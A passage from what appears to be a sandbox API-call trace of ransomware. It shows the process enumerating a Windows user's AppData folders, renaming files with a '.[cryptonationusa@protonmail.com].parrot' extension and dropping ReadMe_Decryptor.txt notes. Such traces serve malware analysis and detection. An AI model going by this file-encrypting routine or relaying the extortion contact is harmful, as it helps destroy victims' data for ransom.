ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1 [0086.933] lstrcmpW (lpString1="12.0", lpString2=".") returned 1 [0086.933] lstrcmpW (lpString1="12.0", lpString2="..") returned 1 [0086.934] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0086.934] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.934] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.935] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0086.935] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0086.935] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSDKNS.DTD", cAlternateFileName="")) returned 1 [0086.940] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.940] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.941] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.941] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1f2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x1f2, lpOverlapped=0x0) returned 1 [0086.942] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.942] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68cca0 | out: hHeap=0x5b0000) returned 1 [0086.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.944] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2211260 | out: hHeap=0x5b0000) returned 1 [0086.946] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.946] ReadFile (in: hFile=0x264, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0086.952] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.952] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x27cf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x27cf, lpOverlapped=0x0) returned 1 [0086.953] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.953] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68cca0 | out: hHeap=0x5b0000) returned 1 [0086.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22142e0 | out: hHeap=0x5b0000) returned 1 [0086.968] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0086.968] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc12607c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc12607c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.968] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc123a660, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xc123a660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc12607c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0086.969] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0086.969] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.970] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc12607c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc12607c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1 [0086.970] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc12607c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc12607c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 0 [0086.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0086.971] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0086.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c068 | out: hHeap=0x5b0000) returned 1 [0086.971] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0086.971] lstrcmpW (lpString1="Windows Sidebar", lpString2=".") returned 1 [0086.971] lstrcmpW (lpString1="Windows Sidebar", lpString2="..") returned 1 [0086.971] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0086.971] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.971] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.971] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0086.971] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0086.972] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0086.972] lstrcmpW (lpString1="Gadgets", lpString2=".") returned 1 [0086.972] lstrcmpW (lpString1="Gadgets", lpString2="..") returned 1 [0086.972] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0086.972] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0086.972] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.973] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0086.973] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0086.973] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.973] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0086.973] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.973] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.974] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317c0e0 | out: hHeap=0x5b0000) returned 1 [0086.974] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0086.974] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317bf90 | out: hHeap=0x5b0000) returned 1 [0086.974] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 1 [0086.974] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.975] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0086.975] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.976] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x54, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x54, lpOverlapped=0x0) returned 1 [0086.976] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.976] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows sidebar\\settings.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0086.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68cca0 | out: hHeap=0x5b0000) returned 1 [0086.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0086.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aacb8 | out: hHeap=0x5b0000) returned 1 [0086.980] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0086.980] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc1286920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1286920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.980] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0086.980] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1286920, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xc1286920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1286920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0086.981] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0086.981] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.982] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0086.982] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0086.982] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbae40a60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbae40a60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0086.982] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xbb07bf00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb07bf00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0086.983] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb1d2b60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb1d2b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0086.983] FindNextFileW (in: 